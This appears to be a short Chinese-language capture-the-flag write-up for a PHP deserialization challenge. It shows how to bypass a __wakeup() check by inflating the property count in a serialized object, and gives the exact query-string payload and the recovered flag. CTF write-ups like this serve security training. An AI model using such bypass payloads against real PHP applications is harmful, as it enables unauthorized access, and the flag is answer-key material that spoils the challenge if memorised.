打开环境,进入页面
这貌似是要给code一个值,那我们看看上面的那段代码,class xctf,声明了一个对象。
然后我突然注意到了_wakeup(),这个以前貌似见过,nice,想起来了,这是魔术方法嘛。如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。
那好我们需要反序列化。写一下吧
<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a = new xctf(); echo serialize($a); ?>
这样运行一下的话,输出
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
那我们如果直接这样?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";},那他会直接输出bad requests,
那这并不是我们想要的结果。所以我们还要利用漏洞绕过。而_wakeup()要求被序列化的对象属性个数要大于原来的1
将序列化字符串中代表变量个数的数字改为大于其真实值的数字,得到结果。
pyload
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:
cyberpeace{ecb272ecae9b3b73f3009359272108b0}